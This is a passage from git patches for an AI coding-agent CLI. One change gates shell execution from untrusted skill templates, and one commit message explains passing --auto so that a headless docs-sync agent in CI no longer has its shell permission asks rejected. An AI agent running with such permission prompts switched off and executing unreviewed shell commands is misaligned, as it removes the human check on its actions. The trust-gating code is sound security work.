SKILL_SHELL_UNTRUSTED) // `shell` is resolved by the caller via Shell.acceptable(cfg.shell), which // rejects shells the tree-sitter bash scanner can't parse (fish/nu), keeping diff --git a/packages/opencode/src/session/prompt.ts b/packages/opencode/src/session/prompt.ts index 5a04b9042e..ad3377f7dc 100644 --- a/packages/opencode/src/session/prompt.ts +++ b/packages/opencode/src/session/prompt.ts @@ -4,6 +4,7 @@ import path from "path" import { SessionV1 } from "@opencode-ai/core/v1/session" import os from "os" import { KiloSessionPrompt } from "@/kilocode/session/prompt" // kilocode_change +import { SKILL_SHELL_DISABLED, SKILL_SHELL_UNTRUSTED } from "@/kilocode/skills/display" // kilocode_change import { KiloSessionMessageOrder } from "@/kilocode/session/message-order" // kilocode_change import { KiloSessionPromptQueue } from "@/kilocode/session/prompt-queue" // kilocode_change import { KiloSession } from "@/kilocode/session" // kilocode_change @@ -2035,10 +2036,13 @@ export const layer = Layer.effect( } const shellMatches = ConfigMarkdown.shell(template) - // kilocode_change start - untrusted skill templates must not spawn shell; mirror the skill tool's trust gate - const untrustedSkill = cmd.source === "skill" && cmd.trusted !== true - if (shellMatches.length > 0 && untrustedSkill) { - template = template.replace(bashRegex, () => "[skill shell execution disabled for untrusted skill]") + // kilocode_change start - skill templates run !`cmd`` only when trusted and the kill-switch is off, + // mirroring the skill tool's gate (the slash-command path is user-initiated, so it is not prompted). + const skillTemplate = cmd.source === "skill" + const skillShellBlocked = skillTemplate && (cmd.trusted !== true || flags.disableSkillShell) + if (shellMatches.length > 0 && skillShellBlocked) { + const note = cmd.trusted !== true ? SKILL_SHELL_UNTRUSTED : SKILL_SHELL_DISABLED + template = template.replace(bashRegex, () => note) } else if (shellMatches.length > 0) { // kilocode_change end const cfg = yield* config.get() From 2da0517e3dbdb2d346a69eb66f14aea8574202ac Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 17:09:28 +0200 Subject: [PATCH 055/100] chore(cli): annotate skill download changes with kilocode_change markers --- packages/opencode/src/skill/discovery.ts | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/packages/opencode/src/skill/discovery.ts b/packages/opencode/src/skill/discovery.ts index f4e0c50d22..f48b1b4eb2 100644 --- a/packages/opencode/src/skill/discovery.ts +++ b/packages/opencode/src/skill/discovery.ts @@ -87,8 +87,10 @@ export const layer: Layer.Layer Effect.gen(function* () { yield* Effect.forEach(skill.files, (file) => download(file.url, file.dest), { @@ -147,6 +150,7 @@ export const layer: Layer.Layer dir !== null) }) From d5797749608bd2824b24774a04fe7fadfd47b6d6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Igor=20=C5=A0=C4=87eki=C4=87?= Date: Wed, 29 Jul 2026 17:34:41 +0200 Subject: [PATCH 056/100] fix(ci): docs-sync bot passes --auto, drains its backlog, and reports readable causes; fix(cli): honest exit codes for headless runs (#12605) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(ci): pass --auto to the docs-sync kilo runs and keep full stderr logs Headless kilo run auto-rejects every permission ask it receives, and the GitHub runner has no user config granting bash — so without --auto the docs-sync bot's triage, edit and verify-fix calls were silently crippled whenever the agent reached for a non-allowlisted shell command (CI run 30306629290: 9 rejections, all 11 edit batches failed, exit 0). - Pass --auto immediately after "run" at all three call sites (triage.mjs, edit.mjs, docs-sync.yml Fix verify failures step) - runKilo now always writes the child's full stderr to docs-sync-out/kilo-stderr-